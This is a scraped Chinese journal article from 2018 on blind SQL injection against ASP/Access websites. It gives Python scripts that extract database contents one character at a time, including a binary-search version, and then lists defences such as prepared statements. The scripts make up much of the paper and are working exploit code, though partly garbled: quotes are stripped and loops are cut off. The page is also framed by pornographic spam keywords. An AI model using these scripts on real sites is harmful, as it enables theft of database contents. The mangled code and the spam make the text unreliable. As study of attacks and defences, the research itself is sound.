亚洲免费av电影一区二区三区,日韩爱爱视频,51精品视频一区二区三区,91视频爱爱,日韩欧美在线播放视频,中文字幕少妇AV,亚洲电影中文字幕,久久久久亚洲av成人网址,久久综合视频网站,国产在线不卡免费播放

        ?

        基于Access數(shù)據(jù)庫(kù)的SQL注入攻擊研究

        2018-09-10 18:13:11王冬雪韓灝李鴻鵠
        關(guān)鍵詞:網(wǎng)絡(luò)安全

        王冬雪 韓灝 李鴻鵠

        摘要:基于Windows+Access+ASP服務(wù)器的網(wǎng)絡(luò)架構(gòu),因成本低廉和易于操作被廣泛使用,這種架構(gòu)極易因存在的安全漏洞和相關(guān)安全措施不嚴(yán)而受到各方面的攻擊與入侵,最常見的攻擊方式就是SQL注入。通過SQL注入攻擊獲取數(shù)據(jù)庫(kù)數(shù)據(jù),利用其數(shù)據(jù)可進(jìn)行網(wǎng)站滲透。在此基礎(chǔ)上,采用逐字猜解法注入,利用python腳本編寫獲取數(shù)據(jù)庫(kù)信息并進(jìn)行腳本優(yōu)化,從而研究Access數(shù)據(jù)庫(kù)SQL注入方式,給出SQL注入攻擊的防范方法。

        關(guān)鍵詞:網(wǎng)絡(luò)安全;Access數(shù)據(jù)庫(kù);SQL注入;攻防

        中圖分類號(hào):TP391.4文獻(xiàn)標(biāo)志碼:A文章編號(hào):1008-1739(2018)19-68-4

        Research on SQL Injection Attack Based on Access Database

        WANG Dongxue, HAN Hao, LI Honghu(College of Computer Science and Technology, Harbin University of Science and Technology, Harbin Heilongjiang 150000, China)

        0引言

        隨著互聯(lián)網(wǎng)時(shí)代的發(fā)展,人們?cè)谙硎芑ヂ?lián)網(wǎng)帶來便捷的同時(shí),安全問題也日趨嚴(yán)峻。Windows+Access+ASP是常見的網(wǎng)絡(luò)架構(gòu)類型之一,常用于構(gòu)建動(dòng)態(tài)網(wǎng)站。部分網(wǎng)站由于開發(fā)者安全意識(shí)較差,常受到不同種類的Web攻擊,SQL[1]注入是其中一種較為嚴(yán)重的攻擊方式。攻擊者利用開發(fā)人員對(duì)傳入?yún)?shù)與SQL語句的不正確拼合,將惡意的SQL語句注入到后臺(tái)數(shù)據(jù)庫(kù)來實(shí)現(xiàn)其操作,通過該攻擊可獲取用戶敏感數(shù)據(jù)信息,在服務(wù)器權(quán)限設(shè)置不當(dāng)?shù)那闆r下,可導(dǎo)致任意文件的上傳及下載,進(jìn)而獲取網(wǎng)站W(wǎng)ebshell,最終導(dǎo)致服務(wù)器淪陷。本文通過搭建基于Access數(shù)據(jù)庫(kù)的Web測(cè)試環(huán)境,編寫SQL注入python腳本,實(shí)現(xiàn)了對(duì)數(shù)據(jù)庫(kù)數(shù)據(jù)內(nèi)容的獲取,并由此總結(jié)了Access數(shù)據(jù)庫(kù)SQL注入防范方法。

        1前期準(zhǔn)備

        1.1環(huán)境搭建

        本地測(cè)試環(huán)境采用Window2003+超級(jí)小旋風(fēng)AspWebServer進(jìn)行環(huán)境搭建,AspWebServer參數(shù)配置如下:

        [localhost:sql]

        hostLanguage=VBScript

        hostUrl=192.168.208.139

        listenPort=8003

        rootPath=\wwwroot\sql

        defaultFiles=index.asp,default.asp,index.html,default.html

        第1行為配置名稱,第2行為使用的腳本語言,第3行為本機(jī)的IP地址,第4行為監(jiān)聽的本地端口,第5行為網(wǎng)站的根路徑,第6行為默認(rèn)的網(wǎng)站頁面。測(cè)試頁面顯示如圖1所示。

        頁面顯示了報(bào)錯(cuò)信息,由MicrosoftAccess Driver可知,數(shù)據(jù)庫(kù)類型為Access數(shù)據(jù)庫(kù),查詢表達(dá)式為id=1513,多出一個(gè)單引號(hào),該單引號(hào)與前一個(gè)單引號(hào)閉合,多出的找不到與之成對(duì)的單引號(hào),導(dǎo)致數(shù)據(jù)庫(kù)報(bào)錯(cuò),接下來進(jìn)行注入類型的判斷。

        構(gòu)造and 1=1和and 1=2分別作為id參數(shù)值傳入,如果頁面發(fā)生改變,則證明存在SQL注入,經(jīng)測(cè)試頁面發(fā)生變化,語句并未使用單引號(hào)進(jìn)行閉合,所以注入類型為int型注入。

        1.3 SQL注入原理

        Access只存在1個(gè)數(shù)據(jù)庫(kù),所以與常規(guī)的SQL注入方式不同,可通過以下2種方式進(jìn)行查詢,第1種為聯(lián)合查詢法,第2種為逐字猜解法。Access數(shù)據(jù)庫(kù)不存在系統(tǒng)表和系統(tǒng)庫(kù),對(duì)于數(shù)據(jù)庫(kù)中的內(nèi)容,只能通過暴力猜解的方式進(jìn)行。

        暴力猜解的方式如下:

        ①進(jìn)行表的判斷:通過在閉合后的語句中加入and exists(select * from表名),表名部分可通過本地字典讀取,如果頁面返回?zé)o變化,則證明該表存在于數(shù)據(jù)庫(kù)中。

        ②進(jìn)行表中字段的判斷:通過構(gòu)造and exists (select列名from表名),表名為上述語句查詢的結(jié)果,列名需要通過字典文件暴力猜解的值。通過測(cè)試頁面的返回結(jié)果,如果頁面無變化,則證明該字段存在于該表中。

        ③進(jìn)行數(shù)據(jù)部分的判斷:第一步判斷數(shù)據(jù)部分的長(zhǎng)度,通過構(gòu)造and (select top 1 len(列名)from表名)=長(zhǎng)度,列名和表名可通過上述過程得出,使用循環(huán)語句,直到頁面返回正常,此時(shí)的長(zhǎng)度為數(shù)據(jù)內(nèi)容長(zhǎng)度。第二步通過構(gòu)造and (select top 1 asc(mid(列名,位數(shù),1)) from表名)=ascll碼,頁面返回正常時(shí),該ascll值為該數(shù)據(jù)對(duì)應(yīng)位數(shù)的值。

        2 Access逐字猜解法注入

        2.1查詢數(shù)據(jù)信息

        查詢數(shù)據(jù)信息的過程如下:

        def queryDump(table,column,url,length=60):

        len = 0

        old = requests.get(url)

        old.encoding = gb2312

        #確認(rèn)長(zhǎng)度

        for i in range(length):

        payload = and(select top 1 len (%s) from %s) = %d %(column,table,i)

        payload = url + payload

        print(payload)

        new=requests.get(payload)

        new.encoding = gb2312

        if new.text == old.text:

        len = i

        print(len)

        break

        #判定每位的內(nèi)容

        dump =

        for j in range(len):

        for k in range(33,127):## ascll可見字符范圍

        payload = and (select top 1 asc(mid(%s,%d,1)) from %s)=%d% (column,j+1,table,k)

        payload = url + payload

        new =requests.get(payload)

        new.encoding = gb2312

        if new.text == old.text:

        dump+=chr(k)

        print(dump)

        break

        queryDump(admin,admin,http://192.168.199.73: 8003/Production/PRODUCT_DETAIL.asp?id=1513,40)

        腳本首先進(jìn)行了一次正常請(qǐng)求,并將請(qǐng)求結(jié)果保存在old變量中,然后構(gòu)造查詢判斷字段長(zhǎng)度,通過構(gòu)造and (select top 1 len(column) from table)=length循環(huán)遍歷,直到前后返回結(jié)果相同,此時(shí)得到字段數(shù)據(jù)部分長(zhǎng)度,在知道字段長(zhǎng)度的基礎(chǔ)上,構(gòu)造and(select top 1 asc(mid(字段,數(shù)據(jù)位置,1))from表名)=ascll碼,確定該字段數(shù)據(jù)內(nèi)容的每一位所對(duì)應(yīng)的ascll碼,并輸出其相應(yīng)的字符,運(yùn)行結(jié)果如圖3所示。

        2.2逐字猜解法腳本優(yōu)化

        逐字猜解法腳本優(yōu)化的過程如下:

        def queryDumpx(table,column,url,length=60):

        len=0

        old= requests.get(url)

        old.encoding = gb2312

        #確認(rèn)長(zhǎng)度

        start =0

        end = length

        while(startm = (start+end)//2

        if(end - start == 1):

        break

        payload = and(select top 1 len (%s) from %s) < %d %(column, table, m)

        payload = url + payload

        print(payload)

        new=requests.get(payload)

        new.encoding = gb2312

        if new.text == old.text:

        end = m

        else:

        start = m

        len = m

        print(len)

        #判定每位的內(nèi)容

        dump =

        for j in range(len):

        # for k in range(33,127):## ascll可見字符范圍

        s=33

        t=127

        while(s

        3.2采用預(yù)編譯語句集

        防御SQL注入的最佳方式就是使用預(yù)編譯語句,預(yù)編譯后的SQL語句的語義不會(huì)發(fā)生改變。初始運(yùn)行程序和操作數(shù)據(jù)庫(kù)時(shí),會(huì)對(duì)SQL語句進(jìn)行分析、優(yōu)化與編譯,需執(zhí)行的計(jì)劃被緩存下來并允許數(shù)據(jù)庫(kù)以參數(shù)化的形式進(jìn)行查詢[3]。由此將輸入的數(shù)據(jù)庫(kù)語句中使用到的參數(shù)進(jìn)行設(shè)置,若輸入了錯(cuò)誤的或不同類型的參數(shù)值,在編寫到數(shù)據(jù)庫(kù)語句中導(dǎo)致編譯不通過,這樣也就有效地防止了SQL注入。

        3.3對(duì)用戶輸入進(jìn)行限定

        用戶輸入的內(nèi)容不直接拼合到SQL語句中,可以利用存儲(chǔ)過程中[4]對(duì)用戶的輸入進(jìn)行驗(yàn)證與過濾,存儲(chǔ)過程的語句可在創(chuàng)建時(shí)就被編譯,但只會(huì)運(yùn)行創(chuàng)建時(shí)所定義的查詢語句的語法,用戶輸入并不參與語法構(gòu)造,故無法達(dá)到執(zhí)行SQL語句,還可通過對(duì)用戶輸入中存在的內(nèi)容進(jìn)行過濾。但這種方式并不能很好地防范SQL注入攻擊,攻擊者總是能找到新的攻擊字符串,繞過各種過濾檢查,而且這種防御機(jī)制亦取決于開發(fā)者編寫驗(yàn)證代碼與確定其使用系統(tǒng)環(huán)境的能力[5]。

        3.4對(duì)敏感信息加密

        盡管關(guān)于SQL注入的防范技術(shù)不斷發(fā)展,仍無法完全規(guī)避攻擊者進(jìn)行的滲透與攻擊。作為網(wǎng)站管理人員,應(yīng)對(duì)用戶敏感信息進(jìn)行高強(qiáng)度加密處理,常規(guī)密碼算法有DES及其變形Triple DES、GDES、New DES等[6]。即便加密后的內(nèi)容被獲取,攻擊者也無法破解對(duì)應(yīng)的數(shù)據(jù)信息。

        4結(jié)束語

        通過對(duì)Access數(shù)據(jù)庫(kù)SQL注入方法之一的逐字猜解法進(jìn)行了具體研究,采用python語言實(shí)現(xiàn)了對(duì)數(shù)據(jù)庫(kù)信息的自動(dòng)化獲取,可調(diào)用上述腳本獲取指定數(shù)據(jù)內(nèi)容。該測(cè)試證明了SQL注入的危害性,并針對(duì)于Access數(shù)據(jù)庫(kù)SQL注入攻擊,總結(jié)出幾種安全預(yù)防手段,運(yùn)用這些手段能夠有效增強(qiáng)ASP+Access+IIS網(wǎng)絡(luò)架構(gòu)的安全性。

        參考文獻(xiàn)

        [1]練坤梅,許靜,田偉,等.SQL注入漏洞多等級(jí)檢測(cè)方法研究[J].計(jì)算機(jī)科學(xué)與探索,2011,5(5):474-480.

        [2]顧宏山.ACCESS數(shù)據(jù)庫(kù)的安全系統(tǒng)[J].滄州師范專科學(xué)校學(xué)報(bào),2008(2):110-111.

        [3]黃明輝.基于SQL Server的SQL注入攻擊防范方法[J].計(jì)算機(jī)安全,2008(8):122-124.

        [4]王綿金,田華,張晉桂.SQL注入攻擊原理和防范方法[J].信息與電腦:理論版,2016(5):182-183.

        [5]馬小婷,胡國(guó)平,李舟軍.SQL注入漏洞檢測(cè)與防御技術(shù)研究[J].計(jì)算機(jī)安全,2010(11):18-24.

        [6]徐康庭.網(wǎng)絡(luò)安全與網(wǎng)絡(luò)信息加密技術(shù)分析[J].數(shù)字通信世界,2018(2):102.

        猜你喜歡
        網(wǎng)絡(luò)安全
        網(wǎng)絡(luò)安全(上)
        網(wǎng)絡(luò)安全知多少?
        新量子通信線路保障網(wǎng)絡(luò)安全
        網(wǎng)絡(luò)安全
        網(wǎng)絡(luò)安全人才培養(yǎng)應(yīng)“實(shí)戰(zhàn)化”
        上網(wǎng)時(shí)如何注意網(wǎng)絡(luò)安全?
        網(wǎng)絡(luò)安全與執(zhí)法專業(yè)人才培養(yǎng)探索與思考
        設(shè)立網(wǎng)絡(luò)安全專項(xiàng)基金 促進(jìn)人才培養(yǎng)
        網(wǎng)絡(luò)安全監(jiān)測(cè)數(shù)據(jù)分析——2015年12月
        網(wǎng)絡(luò)安全監(jiān)測(cè)數(shù)據(jù)分析——2015年11月
        大胸美女吃奶爽死视频| 国产精品久久国产精品99 gif| 精品国产青草久久久久福利| 东北妇女xx做爰视频| 亚洲国产成人va在线观看天堂| 在线视频一区二区日韩国产| 午夜精品一区二区三区av免费| 国产三级精品三级男人的天堂| 2019最新中文字幕在线观看| 欧美丰满熟妇aaaaa片| 国产精品麻豆最新AV| 欧美日韩国产综合aⅴ| 亚洲AV无码永久在线观看| 中文字幕有码在线视频| 亚洲中文字幕人妻诱惑| 人妻尤物娇呻雪白丰挺| 激情五月六月婷婷俺来也| 那有一级内射黄片可以免费看| 久久久久国色av免费观看性色| 99久久精品费精品国产一区二区| 麻豆变态另类视频在线观看| 日本视频一区二区二区| 麻豆成人久久精品一区| 99久久精品在线视频| 精品视频一区二区三区在线观看 | 青青青草视频手机在线| 一区二区久久精品66国产精品| 国产思思久99久精品| 久久色悠悠亚洲综合网| av一区二区三区综合网站| 亚洲乱码中文在线观看| 成人免费a级毛片| 国产一女三男3p免费视频| 亚洲一区爱区精品无码| 亚洲精品国产老熟女久久| 水蜜桃视频在线观看免费18| 午夜精品免费视频一区二区三区| 亚洲人成色7777在线观看不卡| 91av手机在线观看| 亚洲欧美日本人成在线观看 | 亚洲女同恋av中文一区二区|